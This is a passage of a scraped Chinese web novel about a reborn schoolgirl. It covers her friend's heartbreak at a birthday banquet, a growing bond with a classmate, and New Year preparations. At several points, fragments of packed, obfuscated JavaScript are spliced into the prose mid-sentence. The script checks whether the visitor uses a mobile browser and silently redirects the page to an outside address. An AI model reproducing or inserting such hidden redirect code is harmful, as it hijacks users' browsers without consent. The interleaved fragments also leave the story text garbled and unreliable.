RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16086993|176572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起头,看见漫天细雪飞舞。 今冬的第一场雪,来了。 打开医药箱,数十个冰眼罩整整齐齐地码在一起,底下垫着硬邦邦的冰袋。 数了数,一共二十三只眼罩,把药箱塞得满满地,边角缝隙里还放了几支眼药水。 惊愕之下,又有些感动。 穆逢这个人,意外地靠谱又细心。 上次拜托他买卫生巾,也是买了一大包。 对了,那笔钱好像到现在还没给他。 每次一说还钱,他就说不急,等他算一算。 然后,就没了然后。 秦遇拿起一个眼罩,走到镜子面前,还没开始戴,先被镜子里的自己吓了一条。 红肿的右脸颊,高高鼓起。 肿胀的眼皮,让眼睛小了一圈。 更糟糕的是,头发在床上揉得乱乱的,嘴唇因缺水而发白,再加上她身上洗褪了色的旧睡衣,整个人显得邋遢又憔悴。 她恍惚想起,上一世和吕程恋爱的时候,她不化妆是不会赴约的,哪怕只是出门散步,她也会轻扫娥眉,化个淡妆。 吕程对自己的仪容要求高,也喜欢看她打扮得赏心悦目。 可是在穆逢面前,她似乎从不在意这些。 大概是因为回到了纯粹的少年时代。 对于少男少女来说,一个笑容,一双发亮的眼睛,比完美的三围、鼓胀的肌肉,更有吸引力。 镜子里的人,嘴角微微上扬,眼睛格外闪亮。 她定定地看了几秒,猛得摇头。 不对,她在想什么? 她居然拿穆逢和吕程比? 难道她潜意识里已经默认,她和穆逢之间,是暧昧关系? 多亏了冰眼罩和冰袋,第二天,眼睛和脸上的肿都消了大半,于素月一边给她盛打卤面,一边劝她。 “你呀,就是嘴巴太硬、说话太直,何必跟你爸爸硬碰硬?” “要是妈妈在家,一定会拦着,不让你爸对你动手。” 她低头吃面,不说话。 于素月又劝,“父女没有隔夜仇,过去就过去了。” 秦遇抬起头,对于素月绽开一个灿烂的笑。 “没事,妈,我早忘了这回事了。对了,妈,我最近上网,看见网上都在说,我们国家的房地产市场要进入爆发期,炒房赚钱,大有可为。” 于月云不以为意的笑,“你这孩子,什么时候开始关心这些事了。你就好好学习,考个好大学,赚钱的事有你爸。” 见妈妈言谈之间,还是认为挣钱是爸爸一个人的事,她有点着急。 “哎呀,妈,你想想,手里有钱,吵架才更有底气,到时候,我爸就也就没资格说什么,‘‘我赚得钱,我爱给谁花给谁花’。’” 她模仿着爸爸上次吵架的语气和神态,于月云噗嗤一声笑了,可笑到后来,眼底闪过一抹黯淡。 她别开眼,淡淡说一声,“吃饭吧。” 秦遇拿出打印好的材料,“妈,你看,这是国家发布的《关于促进房地产市场持续健康发展的通知》,这上面说,房地产已经成为国民经济的支柱产业。” 见妈妈不说话,她又继续劝,“就连姚摇的哥哥也看好房地产,他在美国读金融,马上要去华尔街实习了!” “还有伟民的妈妈,伟民说他妈现在不卖保险了,在看房子呢,妈妈你跟她关系好,不如,你咨询咨询她?” “好了好了,知道了,你这孩子,今天好像变了个人似的,等妈妈有时间了,就研究一下。” “太好了!妈,我愿意把我存的压岁钱都贡献出来,支持你炒房。” 36. 故意 “怎么样?我穿这件好看吗?” 姚摇从试衣间里走出来,右手高举,头一歪,摆了一个模仿女明星的pose。 她穿了一件紫色的长款连衣裙,裙摆长及脚踝,胸口到腰间是复古绑带设计,勒出细细腰身。 裙子是温柔典雅的淑女风格,她把一头长发散开,披在背后,和平时的元气少女形象截然不同。 这已经是她今天换的第八套衣服了。 “怎么样怎么样?快评价一下。” 姚摇催促着。 秦遇仔细打量着她,“好看是好看,可是这么长的裙子,会不会不方便?” “总觉得,这跟你平时的穿衣风格不太一样。” 姚摇对着镜子转了个圈,笑着说,“那当然了,俊哥哥要回来了,我要去机场接他,当然要打扮得美美的。” “俊哥哥喜欢紫色,喜欢女生留长头发、穿长裙,我呢,就要投其所好。” 姚摇口中的俊哥哥,是她青梅竹马的邻居,大她三岁的白月光,也是家长口中的“别人家的孩子”,去年以本校第一的成绩,考入了国内顶级学府T大的美术系。 秦遇见过他的照片,长相俊美,眼神温柔,穿深灰色大衣配橘色围巾,外貌、品味、学识,全拿得出手。和这样的人一起长大,也难怪姚摇对其他男生视而不见,心心念念着要和他考进同一所大学。 “决定了,就要这件。” 姚摇去柜台结账,买下这条紫色长裙,又兴冲冲地挽起秦遇的手臂。 “走,再陪我去StarrySky买发箍,我得买个新的来配我的裙子。” 商场里琳琅满目的服装店分立两侧,有本土品牌,也有国外牌子,相应的,小饰品店、精品首饰店也像雨后春笋一样冒出来。 亮晶晶的发卡、镶满水钻的手链、装饰着蝴蝶结的发箍,摆在玻璃柜台里,吸引着女孩子的围观和赞叹。 千禧年初,一切都热热闹闹,蓬勃向上。 秦遇想起后来看到的新闻报道,千禧年后的十多年,是服装行业躺赚的时期,如果能进入这个行业,将来大学毕业后开一家服装店,卖自己喜欢的衣服,岂不是很圆满? 她没有太大野心,也没有多少商业头脑,但是对服装的品味一向不错。 开一家风格鲜明的女装店,售卖自己喜欢的衣服,闲暇时再做做手工,就是她理想的生活。 流行易逝,风格永存,她记得很清楚,多年以后,当快消品牌利润大幅下滑时,那些风格强烈的小店,反而不怎么受影响。 她长长吐出一口气。 想明白了,就去做,重来一次的人生,不是爽文,也要踏踏实实、一步一步走下去。 只不过,这一次,她要多听从自己内心的声音。 决定了,过完年,就去找个服装店打工,从了解客户需求和进货渠道做起。 从饰品店走出,隔壁男装店的玻璃橱窗里,模特头上的鸭舌帽吸引了她的注意。 不知道为什么,一看到那靛蓝色的帽子,她就想到了穆逢,觉得这帽子很适合他。 可是,她有什么理由送他帽子呢? 有了! 他帮忙买卫生巾的钱一直没还,既然这样,就把这顶帽子当作还礼吧。 这样想着,秦遇走进店,买下了帽子。 姚摇好奇地端详着帽子,“买给你弟的?好像有点大。” 秦遇踌躇了一下,决定坦白,“不是,是给穆逢的。” 姚摇拖出一个长长的“哦”,意味深长地看着她,“有情况。” 秦遇正色道,“不是啦,他之前帮过我,这算是谢礼。” 就把穆逢之前帮她的事说了一遍。 姚摇听了,笑得更灿烂了,不住地点头,“嗯嗯,放心,我没有误会,是朋友间的还礼。” “打住,不许再取笑我。” 两人说说笑笑,走出男装店。 这场逛街,一直持续到下午四点,两人喝了杯奶茶,各自回家。 到了家,妈妈正在准备过年的炸货,秦遇换上衣服,挽起袖子就加入。 切藕片的时候,她还在感慨,青春就是好,一刻不停地逛了六个小时,也丝毫不觉得累。 妈妈看着切得整整齐齐的藕片,惊奇道,“怎么突然切得这样好了!明明之前厚的厚,薄的薄。” 秦遇神秘一笑,“因为我打通了任督二脉, 晚饭有热乎乎的炸藕盒和炸肉丸,秦征嘴馋,等不及放凉就要吃,被烫得呲牙咧嘴,引得秦遇和妈妈笑个不停。 临近过年,爸爸忙着去周边城市走访客户,送年礼,这一走就是一周,看不见他,秦遇的心情也恢复了大半。 晚饭后,妈妈带秦征去串门,她洗好碗筷,就坐到了电脑前。 打开暴风影音听流行歌曲,挂上□□,然后漫无目的地浏览网页。 不到一分钟,右下方的状态栏里,小企鹅头像晃动起来。 点开,穆逢发来消息。 “在?” 简单直接地打招呼,是他的风格。 秦遇抬起手指,也回了个简短的“在。” 没想到,穆逢连续发来两个问题。 “眼睛还肿吗?” “脸还疼吗?” 她下意识摸了摸脸,已经消肿了,指尖下却感觉热辣辣的,仿佛还残留着疼痛。 她回道,“多亏你的冰敷眼罩,都好了。” 穆逢回一个“嗯。” 然后问她,“要不要一起玩连连看?” 秦遇想起,上一次和他一起玩连连看,还是在网吧,不过没玩几局,就被来捉奸的男人打断,一起看了一场真人修罗场。 “说真的,你不会觉得连连看幼稚吗?” “谁这样说过?” “秦征和姚摇都说连连看很无聊,是小孩玩的。” “没有,我觉得很有意思。” “那就开始吧。” “嗯。” 玩着玩着,她开始觉得有点不对劲。 最开始,她连赢了穆逢几次,觉得自己技高一筹,十分开心。 五局里,她能赢三、四局,穆逢是妥妥的手下败将。 可是慢慢的,她发觉,好像不管自己速度快还是慢,穆逢总是会比她慢半拍。 难道,他是故意让着自己的? 为了求证,秦遇刻意放慢速度,慢到照穆逢刚才的水平,一定会赢过她的程度。 没想到,穆逢那边也慢下来,最终,还是落后她一点。 又是她赢。 可是这一次,秦遇却不像刚才那么开心。 她决定再试试。 这次,她一改刚才的慢速,全神贯注,拿出最好的水平来,迅速消除完画面上所有的图标。 数秒后,穆逢那边也传来了clear的提示。 她咬住下唇,决定再试一次。 这一次,又换成了慢速。 不出意外,穆逢再一次输给她。 盯着面前被清空的游戏格子,她一拍桌子站起来。 穆逢的头像闪起来。 “不想玩了?” 她深吸一口气,坐下,缓缓打出一行字。 “要让我赢,还要让我赢得不那么明显,真是难为你了。” 穆逢立刻回复,“没有,你比较厉害。” 秦遇狠狠地敲下键盘,“你太自以为是了!” “明明水平比我高,却还要装作输给我,太气人了!” 那边沉默了一会,“对不起,我只是想让你开心。” “你这不是让我开心,你这是在愚弄我!” 坦白说,她现在的心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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她穿着上次新买的紫色长裙,垂顺的长发披在肩上,精致的眼妆和唇线,配合白色仿皮草短外套,活脱脱一位温柔又清新的大小姐。 姚摇拉着她的手,一边往饭店里面走,一边低声问,“怎么样?我这个妆好看吗?会不会太浓?” “裙子和皮靴搭不搭?” “这件外套会不会显得俗气?” 看着好友这样费尽心思讨她的白月光欢心,秦遇有些心疼。 她又记起了一些事,一些曾以为早就忘干净的细枝末节。 在她们高二的暑假,姚摇的白月光“俊哥哥”带回了女朋友,是和他同校的一位温柔可亲的大姐姐,姚摇为此连着哭了一个星期,赌咒发誓以后再也不见他。 眼前的姚摇,对未来的失恋全无所知,明亮的眼睛里,写满对恋爱的希冀和畅想。 她不该过早打碎她的梦,作为好朋友,她要做的,是在她失恋时,坚定地站在她身边,安慰她,鼓励她,陪她度过。 想到这些,秦遇用力握住姚摇的手。 “你今天十分完美,一定是全场最耀眼的人。” 姚摇开心地笑了。 这是俊的生日宴,邀请了一众亲朋好友,秦遇是被姚摇带过来的。 姚摇爸妈都认识她,见她来了,就让她们俩和几个年龄差不多的小孩坐一桌,喝酒的大人另坐一桌。 秦遇环视一周,用胳膊肘捅了捅姚摇,低声问“你家俊哥哥呢?怎么没看见他?” 姚摇也伸长脖子看了又看,“我妈说他来了又走了,说是去接一个重要的客人,马上就回来。” 两人又聊了些有的没的,忽然听见周围有人说“来了,来了,快看。” 37. 失恋 秦遇抬起头,看见宴会最前方,一个身材修长的年轻男人从入口进来。 他穿着长长的黑色风衣,栗色微卷的中长发随着走动扬起,他脸上挂着温柔的笑,在他身后的,是一位穿鹅黄色连衣裙,留着及腰长发的明艳大美女。 两人的手紧紧握在一起。 秦遇的心咚咚跳起来,几乎一下子就跳到了嗓子眼。 是她! 又一个因重生而提前发生的事件。 姜凌俊那应该在下年暑假出现的女朋友,提前出场了。 秦遇下意识看向姚摇,她的侧脸还残留着刚刚的笑容,可那笑容就像风干了的石膏,灰白皲裂,仿佛风一吹就要碎掉。 好可怜,好心疼。 都怪她! 如果她能早点想到这件事,姚摇就不用面对这么尴尬的场景。 秦遇在桌子底下,悄悄握住了姚摇的手。 她的指尖,凉得像水。 “谢谢亲爱的家人们、朋友们来参加我的生日宴,今晚,我要郑重向大家介绍一位,对我来说很重要的人,黄晓婕,……” “她是我人生中第一个,也是最后一个女朋友。” “我们有相同的爱好和目标。” “我们彼此欣赏,彼此爱慕。” ……… 姚摇用力反握住她的手,死死咬住下唇,从姜凌俊进来后,她就保持着一个姿势看向他的方向,就像石化了一样。 姜凌俊已经发表完了甜蜜的爱情宣言,带着他美丽的女朋友到父母桌前问好。 秦遇凑到姚摇身边,低声安慰她,“摇摇,出去吃冰淇淋吧,大厅里有卖哈根达斯,我请你。” 姚摇对她挤出一丝微笑,“我没事,你放心,我真得没事。” 她现在的笑,比哭还难看。 秦遇一阵心疼。 “这里空气太闷了,没意思,不如我们去网吧玩吧?” “对了,电影院最近在放《加勒比海盗》,我们去看吧?” 姚摇没说话,只是再次转过头,看向俊的方向,秦遇叹了口气,正想再找个理由把她带离现场,谁知姜凌俊竟然带着女朋友向她们走来。 这是什么意思? 秦遇警惕地看着两人,打定主意,如果这个女人是来示威的,她要毫不犹豫地帮姚摇反击。 秦遇先前只从照片上见过姜凌俊,此刻见到真人,发现本人比照片更有魅力。他是才华横溢、温柔稳重的大哥哥类型,身上有浓浓的文艺气质,又有洒脱自如的一面,的确是很有魅力的男生。 和他并肩而立的女生,有一双温暖的大眼睛,笑起来像弯弯的月牙,让人很难不心生好感。她只化了淡淡的妆,却显得清新脱俗,让人见之难忘。 两人把臂同行,比肩而立,就连秦遇都不得不承认,他们站在一起光彩照人,是一对不折不扣的璧人。 女生走上前来,热情地拉起姚摇的手。 “是摇摇妹妹吗?经常听凌俊提起你,说你十分可爱,学习又用功,从小和他一起长大,是他最重要的妹妹,我早就想见见你了。” 黄晓婕的笑容真挚又温暖,让人如沐春风。 “你本人比他口中更可爱,来,这是我送你的礼物,希望你喜欢。” 她把一个精致的银色包装盒,塞到姚摇手里,盒子一角绑着同色的蝴蝶结。 姚摇慢慢伸出手,接过礼物,她笑得很用力,用力到让秦遇觉得有些苦涩。 姜凌俊亲昵地拍拍姚摇的肩膀,“摇摇又长高了,快成大姑娘了。” “我以前说过,找女朋友要给摇摇把关,怎么样,摇摇,哥哥没有食言,现在带嫂子来见你,你满意吗?” 姚摇用力点了点头,却始终没看姜凌俊一眼。 他们越是真心实意地对姚摇好,眼前的温馨和欢乐就越残忍。 终于捱到两人牵着手离开,姚摇盯着两人的背影,视线胶着在那双交握的手上。 她喃喃地说,“他明明说过,紫色好看,黄色太俗气,所以,我才不穿喜欢的黄色。” 秦遇默然,不知道该如何开口安慰她。 下一秒,姚摇猛然转身,一言不发地往外冲。 “摇摇。” 秦遇叫着她的名字,追了出去,也不知道踩了谁的脚,又被谁撞了肩,只想着不能让姚摇一个人伤心。 姚摇的背影,在走廊右侧的尽头一闪,消失不见,她加快脚步紧追,冷不防,和一个人迎面撞上。 她揉着撞疼的额头抬起头,和对面的人同时发出一声“啊!” “怎么是你?” “你怎么在这里?” 眼前的人,正是一脸惊诧的穆逢。 “以后再说!” 她丢下这句话,就朝姚摇的方向追过去。 身后有脚步声传来。 是穆逢,他已经追上她,“你在找谁?” “姚摇!” 最终,两人在顶楼尽头的卫生间里,找到了姚摇。 悲切的哭泣声,从紧闭的卫生间里传来,秦遇一听就知道是姚摇。 她松了一口气,犹豫着要不要上前敲门。 穆逢拦住她, “如果我是你,就不会进去打扰,让她好好发泄一下也好。” 秦遇和他对视数秒,点点头,靠到走廊的墙壁上。 遇到来上厕所的客人,她就冲过去提示“卫生间坏了,请去别处。” 姚摇的哭声一开始很小,夹杂着悲切的呜咽,时断时续。 哭着哭着,就变成了不管不顾的嚎啕大哭。 秦遇听着她的哭声,反而觉得紧绷的神经松弛下来。 “她从小就喜欢姜凌俊,学画,也是因为他。” “她说,姜凌俊说她的画很棒,看见就开心,会认真收藏她的画,所以她要为他而画。” “姜凌俊考上了T大美术系,她也要考T大美术系。” “她每年的生日愿望;都是和姜凌俊在一起。” “她一直准备着,等考上的那一刻,就去告白。” 穆逢安静地听着,他长长的睫毛垂下来,在眼下投下一片扇形暗影。 半晌,他扭头看向她,“你有这样喜欢过一个人吗?” 秦遇一愣。 她想起前世,她一心一意对吕程,也曾因为他的评价改变自己。 不是衣着,而是自我评价。 吕程说她太过直接,不懂人情世故,不会看人眼色。 说她太过认真,凡事非要寻根究底,徒增苦恼。 告诉她,人生难得糊涂。 她也一度努力照他说的,改变自己,学着对一些事情睁一只眼闭一只眼。 学着说一些漂亮的、无用的假话。 最后才明白,他说那些话的时候,他挑剔她的时候,其实正在出轨。 拼命找她的缺点,是他为自己出轨扯得一面合理化大旗,而她信以为真,一度陷入自我怀疑。 穆逢看着她的脸色黯淡下来,心头泛起一阵酸楚。 “你怎么不说话了?” 秦遇终于反应过来,拿笑来遮,“说着姚摇呢,怎么扯到我身上了。” 穆逢抬眸看着她,目光透出执着,“你还没回答我的问题。” “我,我才多大,怎么会有这种经历。” 穆逢眯起眼,她说话的时候眼神闪烁,显然是在逃避。 难道,那个人是徐伟民? 可是,似乎又不太像。 不知道什么时候,姚摇的哭声已经停了。 她从卫生间走出来,一双眼睛红得像兔子,眼线被泪水冲掉,再用手一揉,在脸上糊成一团黑。 她看着镜子里的自己,又哭了,这次是被丑哭的。 秦遇立刻冲过去,拿出纸巾帮她擦脸,不住地安慰她,“摇摇,别伤心,旧的不去新的不来,下一个更乖。” 下一个更乖。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097834|176572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 穆逢听到她的话,挑高了眉毛。 秦遇只顾安慰姚摇,已经把他抛在脑后。 “我们摇摇将来的男朋友,一定比他优秀、比他帅、还比他有钱,最重要的是,会把摇摇捧在手心,摇摇说什么就是什么。” “呜呜,小遇,我太伤心了,我再也不要喜欢他了!我不要穿紫色,我不要画画,我再也不画了!” 姚摇抱住秦遇,又哭起来。 秦遇轻拍她的背,安慰道“好好好,我们再也不画画了,再也不穿紫色。” 见穆逢还杵在门口,秦遇对他挥了挥手,示意他赶快走,否则姚摇回过神来,一定会觉得尴尬。 穆逢点点头,长腿一迈,大步走开。 姚摇坚持不再回晚宴现场,借口肚子疼提前回家,秦遇一直把她送到家里,才放心离开。 她是陪着姚摇打车回家的,本想再打车回自己家,没想到刚走出小区,就看见穆逢倚在摩托车前。 她走到他身边。 “你在等我?” “不然呢?” “可是,你怎么知道我在这里?” “你们在饭店门口打车的时候,我正好看见。我想,两个女生深夜打车不安全,就一路跟着你们回来了。” 难怪一路上,司机不停向后视镜里张望。 穆逢把头盔塞给她,“上车。” 还是她戴过的那顶粉色头盔,系带的长度刚刚好,保留着上次调整好的幅度。 跨坐上摩托车的时候,她想到,这意味着,在那之后,没有别人戴过这顶头盔。 不知道为什么,确认这一点让她觉得心情愉悦。 穆逢把她送到胡同口。 她摘下头盔递给他。 “对了,差点忘了问你,你为什么也在蓝色海岸饭店?” 穆逢撩了撩起额前的碎发,身体前倾,两只手臂搭在摩托车上。 一条腿屈起踩住踏板,另一条腿稳稳踩在地上,在路面上投下长长的影子。 “程子悦过生日,请球队里的人一起吃饭。” 程子悦是班里足球队的一员,和穆逢、大黑几个天天一起踢球。 秦遇“哦”了一声,“那,我就先回去了,谢谢你送我回来。” 穆逢点点头,“我看着你走回去。” 她对他挥挥手,往胡同里走,走了没两步又折回来,咚咚咚跑到他面前,从包里掏出一顶蓝色帽子。 这顶帽子自从买来后,一直放在包里,现在正好送给他。 穆逢接过她手里的帽子,意外之余,又有些欣喜。 “送我的?” 秦遇点点头,“之前你帮我买卫生巾,一直不要我还钱,我呢,不喜欢欠人东西,逛街的时候看见这个,觉得很适合你,就买来送你。” 穆逢露出一个意味不明的笑,“原来,送我帽子,是想跟我两清。” 他的语气里,流露出淡淡的不快。 接着,他抬眸直视她,问道,“你跟徐伟民和姚摇,也算得这么清楚吗?” 秦遇被他问住,愣了几秒后,老老实实地说,“这个问题,我得仔细回想一下,再告诉你答案。” 穆逢看着她一脸认真的模样,不知为什么,心头的不快瞬间就散了大半,只觉得她十分可爱,可爱到他的嘴角不可自抑地上扬,他甚至想要伸出手,去碰触她那蔷薇色的脸颊。 不过最终,他也只是笑了笑,戴上那顶蓝色的帽子,一扬头,问她,“怎么样?好看吗?” 秦遇点头,“好看,很适合你。” 其实,她觉得他戴什么颜色的鸭舌帽都好看,这顶蓝色帽子原本只是普通的好看,戴到他头上后,就有了让人移不开眼的魅力。 说到底,还是人长得帅。 穆逢把帽檐往下压了压,对她眨了下眼,“谢了,我很喜欢。” 秦遇忽然觉得脸有点烫,她急急忙忙转身,丢下一句再见,就向胡同里走去。 38. 暴走 时间是晚上10点,妈妈在客厅里看韩剧,秦征在书房玩电脑,秦遇坐在书桌前,面前是一本摊开的硬皮笔记本。 自从重生以来,每隔几天,她就会把和上一世不同的事情,记录在这个本子上。 今晚姜凌俊提前官宣女朋友、姚摇提前失恋,算是一例。 通过记录,她发现上辈子发生过的事,这辈子大概率还会发生,只是时间不同。 提前出场的人,有陈宁,吕程,姜凌俊的女朋友。 延后的情况也有。 比如上一世,徐伟民的表姐年初就该从北边的H市过来,在本城开一家美甲店,可是这一世,徐伟民却说,她要明年过来。 还有,今年冬天,她应该在体育课上摔到腿,隔壁班的刘昊送她去医务室,两人进而成为朋友,可这事直到现在也没发生。 有些上一世没发生的事,这一世却发生了,比如她和穆逢成了朋友,比如吕程和穆逢比赛成绩。 所以,虽然是重生,她却无法提前预知所有细节,从而避坑。 她又翻到扉页,用红笔写的醒目的行动计划映入眼帘。 还好,她最主要的三个目标,都在稳步推进。 和吕程之间,已经达成“相看两生厌,老死不相往来”成就。 她在“不嫁吕程”的目标后面,打下一个对号。 “阻止爸爸出轨”这条,用线划掉,改成“帮助妈妈扭转心态”。 第三条,搞钱的事急不得,要徐徐图之。 最后,她盯着最下面一行新添的笔迹,发呆。 那一行只有两个字,“救他。” 既然时间和细节都可能改变,那就意味着,穆逢这一次出事,未必就在明年的除夕夜,也未必在那两条暗巷。 平常的每一天,每一个地点,都有可能成为事发地。 她无奈地靠回椅背,揉了揉眼睛。 这可怎么阻止? 她总不能24小时盯着穆逢! 如果,如果把这件事告诉穆逢,提醒他多加小心呢? 那又会引出新的问题,他会问她这是从哪里得来的信息,和信息的真实性。 想着想着,她觉得头脑里就像一团乱麻,根本找不到解决的路径,只能无奈地把头发揉了又揉。 最后,她还是认为,明年除夕夜是高危时间,要格外注意。 另外,反正他们也经常发短信,索性每晚都问问他的行踪,确认他安全在家。 对了,还要反复提醒他,注意高空抛物。 秦遇只想打个盹,谁知一睁眼,已经天光大亮,书桌上的台灯还亮着,小灵通嗡嗡地叫起来。 是姚摇打来电话。 一接通,还没说话,哭声先传了过来。 秦遇抱着玩偶靠在床头,静静地听她发泄。 几分钟后,姚摇终于停住了哭泣。 秦遇问她,“吃早饭了吗?” 姚摇的声音里,夹着浓浓的鼻音,“没有,不想吃。” “这样,等会我去买你喜欢吃的香蕉蛋糕和蛋挞,然后去找你,好不好?” “我不想吃,不过我想你过来。” “好,那就听我的,吃点东西才行。” 挂了电话,秦遇简单吃了早饭,就要出门。 妈妈叫住她,“今天是小年,要大扫除,你负责客厅,秦征负责书房,我负责厨房。” 没办法,秦遇简单把姚摇的事对妈妈说了一遍。 “所以,我得去陪陪她,我保证,晚饭前一定回来,厨房卫生给我留着。” 陪姚摇说了半天话,总算劝她吃了点东西。 下午,两个人一起出门喝奶茶,看电影。 各种颜色的奶茶粉末装在玻璃罐子里,舀一勺,加上水摇晃,就能变成一杯香浓的奶茶。 廉价的东西,也能带来温暖的慰藉。 两个二十多岁的成年女子,踩着精致的高跟鞋,手里各拿一支气泡酒从她们身边走过。 姚摇咬着奶茶吸管,盯着两人的背影,露出羡慕的神情。 “真想快点长大,不开心了可以喝酒、抽烟、熬夜……” 秦遇揽住她的肩,幽幽道,“相信我,成年人的烦恼更多,她们喝酒得到的快乐,比不上我们的一杯奶茶。” 姚摇噗嗤一声笑出来,“你这副老成的语气,还挺像那么回事的。成年人的世界,你怎么会知道呢?” 秦遇哈哈一笑,“嗨,我瞎猜的。” 两人各抱一桶爆米花走进电影院,看了《加勒比海盗》,出来的时候,热情地讨论着剧情。 “JohnnyDepp也太帅了吧!世界上怎么会有这么帅的海盗!” “我也想要一只那样的鹦鹉,你说,它真能学人说话吗?” “奥兰多·布鲁姆还是演莱戈拉斯时更帅!小仙男!” 两人只顾交谈,冷不防,前面有人挡住了去路。 三个染着黄毛,脖子上挂着染色的金链子,流里流气的年轻男人站在她们面前。 一个轻佻地吹着口哨,一个不住抖腿,还有一个用赤裸的眼神上下打量着她们。 在他们身后,还有两个男的,站在不远处向这边张望,很明显跟他们是一伙的。 真是晦气,遇上街溜子了。 中间抖腿的男人开口,语气要多油腻有多油腻。 “两位小美女,跟哥哥去打电动吧,哥哥们带你们好好玩玩。” 男人说着,嘴角一斜,露出自以为帅气的笑,往身后的电玩城努努嘴。 右边的男人帮腔道,“是啊,是啊,跟着豹哥玩,保证让你们爽翻天。” 说完,几个人同时发出不怀好意的笑。 秦遇和姚摇对视一眼,转身往侧边走。 叫做豹哥的精瘦男人伸手拦住她们,“啧啧啧,一句话不说就走,这么不给面子?” “不好意思,我们还有事。” 秦遇说着,就要往前走,男人伸手拉住她的衣服后领,毫不客气地往后拽。 她被勒得一阵窒息。 与此同时,一个胖胖的男人伸手去摸姚摇的头发。 “喂,住手!” 前方传来一个低沉的声音,秦遇抬头,看见她的堂哥,长得像一座铁塔似的秦志刚走过来。 豹哥看见他,立刻松开手,瑟缩了一下,堆起笑脸喊“志刚哥。” 秦志刚抬起蒲扇似的大手,在豹哥背上拍了两下,精瘦的豹哥被拍得险些站不稳。 “欺负小姑娘?” “不是,志刚哥,这不是、看这两位小妹妹这么可爱,交个朋友,交个朋友。” “哥。” 秦遇叫了一声,秦志刚点点头,瞪着大惊失色的豹哥说,“这是我妹妹,看清楚了,下次再叫我看见你欺负她,我一定打得你满地找牙。” “是、是,志刚哥,我再也不敢了,你看,这真是大水冲了龙王庙不是,没想到,是我们自家妹妹……” 豹哥谄媚的辩解,被一声惨叫打断,秦遇不用看就知道,是姚摇暴走了。 她闭了闭眼,转过头,果然,两个小混混已经被姚摇撂倒在地。 一个躺在地上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她快步走过去,叫她,“摇摇,摇摇。” 连叫了几声,姚摇才回过神来,愣愣地看了她几秒,忽然眼睛一红,扑上来抱住她。 “小遇,我好多年没动过手了,刚刚真痛快!做自己真痛快!” 她说着,眼泪流下来,身体激动得微微颤抖。 “我不要再为他改变自己,我要穿自己喜欢的衣服,做自己喜欢的事情。” “我说我再也不画画了,是假的,其实我早就喜欢上了画画,没有俊哥哥,我也要继续画下去。” “我喜欢自己创造出的人物,我喜欢自己笔下的世界,我要画画,与他无关。” 秦遇感慨地回抱住她。 爱自己的人,才会爱别人。如果为了那个他,改变自己从穿着到口味的一切喜好,根本就像灰姑娘的姐姐,削足适履,太痛苦了。 按照他的标准彻底自我改造,到头来却发现,他爱上的人,并不符合他所谓的标准。 喜欢一个人,应该是具体的人,而不是一套标准。 只有始终爱自己,不迎合的人,才会闪闪发光,具备独特的吸引力。 姚摇终于看清这一点,决心做回自己。 姚摇松开她,擦去脸上的泪,挽起她的手臂。 “走,我们去买衣服,其实我一直喜欢森女系,像苍井优那样穿,宽松、舒服又好看……” 39. 烟花 除夕这天,秦遇本想睡个懒觉,可惜一大早,就被咚咚的敲门声震醒。 秦征一边有节奏地敲门,一边中气十足地喊,“起床起床,懒虫起床。” 秦遇用枕头捂住耳朵,那声音还是源源不断地钻进来,她气得跳下床,拉开门,伸手去拍秦征的头,“吵死了,闭嘴!不许再敲!” 秦征跳起来往后躲,“是妈妈叫我喊你的,你有本事去凶妈妈呀。” 说完扮个鬼脸,一溜烟跑开。 妈妈从厨房探出头来,“小遇,快起床了,都九点了,吃完早饭跟妈妈去买菜。” 秦征插嘴,“还要给我买鞭炮。” 对联、福字、灯笼、年画、糖葫芦,一路上,到处都是红彤彤一片。 在这喜气洋洋的红色里,秦征一路走,一路吃,一路跳,一路闹。 秦遇心头暖融融的。 这是重生后的第一个新年,记忆里那鲜活浓烈的年味,又回来了。 一踏进菜市场,耳边就像有一万个人在说话,鱼腥味、泥土味、带着露珠的绿叶菜、油炸点心的味道,还有无数人呼出的热气,全部混杂在一起,潮水一样扑过来,把人彻底淹没。 头顶,菜市场的绿色塑料天花板陈旧褪色,却仍在发挥功效,把刺眼的太阳光过滤成温柔的日灯。 胡萝卜的尾巴上裹着半干的泥,芹菜用细绳扎成一捆捆、码成小山,熬糖稀的旧锅里翻滚出甜蜜泡泡,一条胖鱼一蹦老高,跃出水池,掉到地上疯狂扭动,吓得秦征鬼叫一声,躲到她身后,死死攥住她的衣角。 “亏你还自称男子汉,一条鱼就把你吓成这样,丢不丢人?” 秦征立刻松开手,抹掉溅到脸上的水,绕到她身前,“谁说我害怕了?我刚才那是滑了一下,没错,这鱼摊周围都是水,太滑了!” 秦遇意味深长地“哦”了一声。 一进菜市场,妈妈就直奔相熟的摊位,称重、砍价、交钱 很快,姐弟俩手里就提满了大包小包的食材。 